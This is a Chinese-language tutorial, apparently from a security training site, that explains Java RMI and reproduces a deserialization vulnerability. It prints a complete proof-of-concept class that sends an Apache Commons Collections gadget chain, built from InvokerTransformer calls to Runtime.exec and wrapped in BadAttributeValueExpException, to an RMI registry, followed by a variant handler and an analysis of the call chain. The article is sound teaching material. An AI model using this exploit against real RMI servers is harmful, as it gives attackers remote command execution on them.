RMI反序列化漏洞分析

RMI简介

首先看一下RMI在wikipedia上的描述：

Java远程方法调用，即JavaRMI（JavaRemote MethodInvocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
JavaRMI极大地依赖于接口。在需要创建一个远程对象的时候，程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接，由后者负责透过网络通信。这样一来，程序员只需关心如何通过自己的接口句柄发送消息。

换句话说，使用RMI是为了不同JVM虚拟机的Java对象能够更好地相互调用，就像调用本地的对象一样。RMI为了隐藏网络通信过程中的细节，使用了代理方法。如下图所示，在客户端和服务器各有一个代理，客户端的代理叫Stub，服务端的代理叫Skeleton。代理都是由服务端产生的，客户端的代理是在服务端产生后动态加载过去的。当客户端通信是只需要调用本地代理传入所调用的远程对象和参数即可，本地代理会对其进行编码，服务端代理会解码数据，在本地运行，然后将结果返回。在RMI协议中，对象是使用序列化机制进行编码的。

我们可以将客户端存根编码的数据包含以下几个部分：

• 被使用的远程对象的标识符

• 被调用的方法的描述

• 编组后的参数

当请求数据到达服务端后会执行如下操作：

1. 定位要调用的远程对象

2. 调用所需的方法，并传递客户端提供的参数

3. 捕获返回值或调用产生的异常。

4. 将返回值编组，打包送回给客户端存根

客户端存根对来自服务器端的返回值或异常进行反编组，其结果就成为了调用存根返回值。

RMI示例

接下来我们编写一个RMI通信的示例，使用IDEA新建一个Java项目，代码结构如下：

Client.java

1. package client;

3. import service.Hello;

5. import java.rmi.registry.LocateRegistry;

6. import java.rmi.registry.Registry;

7. import java.util.Scanner;

9. public class Client {

10. public static void main(String[] args) throws Exception{

11. // 获取远程主机上的注册表

12. Registry registry=LocateRegistry.getRegistry("localhost",1099);

13. String name="hello";

14. // 获取远程对象

15. Hello hello=(Hello)registry.lookup(name);

16. while(true){

17. Scanner sc = new Scanner( System.in );

18. String message = sc.next();

19. // 调用远程方法

20. hello.echo(message);

21. if(message.equals("quit")){

22. break;

23. }

24. }

25. }

26. }

Server.java

1. package server;

3. import service.Hello;

4. import service.impl.HelloImpl;

6. import java.rmi.registry.LocateRegistry;

7. import java.rmi.registry.Registry;

8. import java.rmi.server.UnicastRemoteObject;

10. public class Server {

11. public static void main(String[] args) throws Exception{

12. String name="hello";

13. Hello hello=new HelloImpl();

14. // 生成Stub

15. UnicastRemoteObject.exportObject(hello,1099);

16. // 创建本机 1099 端口上的RMI registry

17. Registry registry=LocateRegistry.createRegistry(1099);

18. // 对象绑定到注册表中

19. registry.rebind(name, hello);

20. }

21. }

Hello.java

1. package service;

3. import java.rmi.Remote;

4. import java.rmi.RemoteException;

6. public interface Hello extends Remote {

8. public String echo(String message) throws RemoteException;

9. }

HelloImpl

1. package service.impl;

3. import service.Hello;

5. import java.rmi.RemoteException;

7. public class HelloImpl implements Hello {

8. @Override

9. public String echo(String message) throws RemoteException {

10. if("quit".equalsIgnoreCase(message.toString())){

11. System.out.println("Server will be shutdown!");

12. System.exit(0);

13. }

14. System.out.println("Message from client: "+message);

15. return "Server response:"+message;

16. }

17. }

先运行Server，然后运行Client，然后即可进行Server与Client的通信

漏洞复现

RMI反序列化漏洞的存在必须包含两个条件：

1. 能够进行RMI通信

2. 目标服务器引用了第三方存在反序列化漏洞的jar包

注：复现的时候需要JDK8121以下版本，121及以后加了白名单限制，

这里我们以ApacheCommons Collections反序列化漏洞为例，使用的版本为commons-collections.jar3.1，新建一个漏洞利用的类RMIexploit

1. package client;

3. import org.apache.commons.collections.Transformer;

4. import org.apache.commons.collections.functors.ChainedTransformer;

5. import org.apache.commons.collections.functors.ConstantTransformer;

6. import org.apache.commons.collections.functors.InvokerTransformer;

7. import org.apache.commons.collections.keyvalue.TiedMapEntry;

8. import org.apache.commons.collections.map.LazyMap;

10. import javax.management.BadAttributeValueExpException;

11. import java.lang.reflect.Constructor;

12. import java.lang.reflect.Field;

13. import java.lang.reflect.InvocationHandler;

14. import java.lang.reflect.Proxy;

15. import java.rmi.Remote;

16. import java.rmi.registry.LocateRegistry;

17. import java.rmi.registry.Registry;

18. import java.util.HashMap;

19. import java.util.Map;

21. public class RMIexploit {

23. public static void main(String[] args) throws Exception {

25. // 远程RMI Server的地址

26. String ip = "127.0.0.1";

27. int port = 1099;

28. // 要执行的命令

29. String command = "calc";

31. final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

33. // real chain for after setup

34. final Transformer[] transformers = new Transformer[] {

35. new ConstantTransformer(Runtime.class),

36. new InvokerTransformer("getMethod",

37. new Class[] {String.class, Class[].class },

38. new Object[] {"getRuntime", new Class[0] }),

39. new InvokerTransformer("invoke",

40. new Class[] {Object.class, Object[].class },

41. new Object[] {null, new Object[0] }),

42. new InvokerTransformer("exec",

43. new Class[] { String.class },

44. new Object[] { command }),

45. new ConstantTransformer(1) };

46. Transformer transformerChain = new ChainedTransformer(transformers);

47. Map innerMap = new HashMap();

48. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

49. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

50. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

51. Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");

52. valfield.setAccessible(true);

53. valfield.set(badAttributeValueExpException, entry);

54. String name = "pwned"+ System.nanoTime();

55. Map<String, Object> map = new HashMap<String, Object>();

56. map.put(name, badAttributeValueExpException);

57. // 获得AnnotationInvocationHandler的构造函数

58. Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];

59. cl.setAccessible(true);

60. // 实例化一个代理

61. InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);

62. Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);

63. Remote remote = Remote.class.cast(object);

64. Registry registry=LocateRegistry.getRegistry(ip,port);

65. registry.bind(name, remote);

66. }

67. }

然后执行RMIexploit

漏洞分析

其实RMI反序列化的POC比ApacheCommons Collections反序列化漏洞的POC只是多了RMI的通信步骤，CommonsCollections组件的分析网上已经有很多，这里只对本文使用的调用链做简要分析。

如上图所示，当序列化的数据到达RMIServer后回自动进行反序列化操作，首先是AnnotationInvocationHandler执行readObject函数；然后调用TiedMapEntry的toString函数，再调用同文件的getValue方法；然后调用到LazyMap的get方法；后面的步骤其实一个循环调用的过程，利用ChainedTransformer中的transform方法，多次调用，直到最后的命令执行。

1. public Object transform(Object object) {

2. for(int i = 0; i < this.iTransformers.length; ++i) {

3. object = this.iTransformers[i].transform(object);

4. }

不过这里有几个问题需要专门解释下。

1、为什么这里的badAttributeValueExpException对象是通过反射构造，而不是直接声明？

代码中我们用以下四行反射的方式构造badAttributeValueExpException对象

1. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

2. Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");

3. valfield.setAccessible(true);

4. valfield.set(badAttributeValueExpException, tiedMapEntry);

而不是直接声明的呢

1. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

要知道BadAttributeValueExpException的构造函数就是给val遍变量赋值

1. public BadAttributeValueExpException (Object val) {

2. this.val = val == null ? null : val.toString();

3. }

但是仔细看这个构造函数，当val不为空的时候，是将val.toString()赋值给this.val，因此这样直接声明的话会直接通过toString()触发命令执行。但是在真正反序列化的时候，由于val变成了String类型，就会造成漏洞无法触发。

2、为什么不直接将badAttributeValueExpException对象bind到RMI服务？

执行bind操作需要对象类型为Remote，这里BadAttributeValueExpException无法直接转换为Remote类型，因此需要将其封装在AnnotationInvocationHandler里面。在这个Poc中只要是继承了InvocationHandler的动态代理类都可以，比如我们自定义以下类

1. package client;

3. import javax.management.BadAttributeValueExpException;

4. import java.io.Serializable;

5. import java.lang.reflect.InvocationHandler;

6. import java.lang.reflect.Method;

8. public class PocHandler implements InvocationHandler, Serializable {

9. private BadAttributeValueExpException ref;

11. protected PocHandler(BadAttributeValueExpException newref) {

12. ref = newref;

13. }

14. // @Override

15. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

16. return method.invoke(this.ref, args);

17. }

18. }

Poc代码动态代理声明一行改为

1. Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(badAttributeValueExpException));

反序列化过程是递归的，封装在InvocationHandler中badAttributeValueExpException也会执行反序列化操作，因此也能够触发命令执行。但是有些Poc的写法就必须要用sun.reflect.annotation.AnnotationInvocationHandler这个类，因为是利用AnnotationInvocationHandler反序列化过程中readObject函数对map对象的set操作来实现命令执行的，set操作会导致transform操作，使得整个调用链触发。

1. private void readObject(java.io.ObjectInputStream s)

2. throws java.io.IOException, ClassNotFoundException {

3. s.defaultReadObject();

5. // Check to make sure that types have not evolved incompatibly

7. AnnotationType annotationType = null;

8. try {

9. annotationType = AnnotationType.getInstance(type);

10. } catch(IllegalArgumentException e) {

11. // Class is no longer an annotation type; time to punch out

12. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");

13. }

15. Map<String, Class<?>> memberTypes = annotationType.memberTypes();

17. // If there are annotation members without values, that

18. // situation is handled by the invoke method.

19. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

20. String name = memberValue.getKey();

21. Class<?> memberType = memberTypes.get(name);

22. if (memberType != null) { // i.e. member still exists

23. Object value = memberValue.getValue();

24. if (!(memberType.isInstance(value) ||

25. value instanceof ExceptionProxy)) {

26. memberValue.setValue(

27. new AnnotationTypeMismatchExceptionProxy(

28. value.getClass() + "[" + value + "]").setMember(

29. annotationType.members().get(name)));

30. }

31. }

32. }

33. }

我本地版本jdk的AnnotationInvocationHandler没有set操作，因此一开始就借助BadAttributeValueExpException进行漏洞触发。

相关实验：Java反序列漏洞

长按下面二维码，或点击文末“阅读原文”（PC端操作最佳哟）

长按开始学习

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱：edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧！

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦！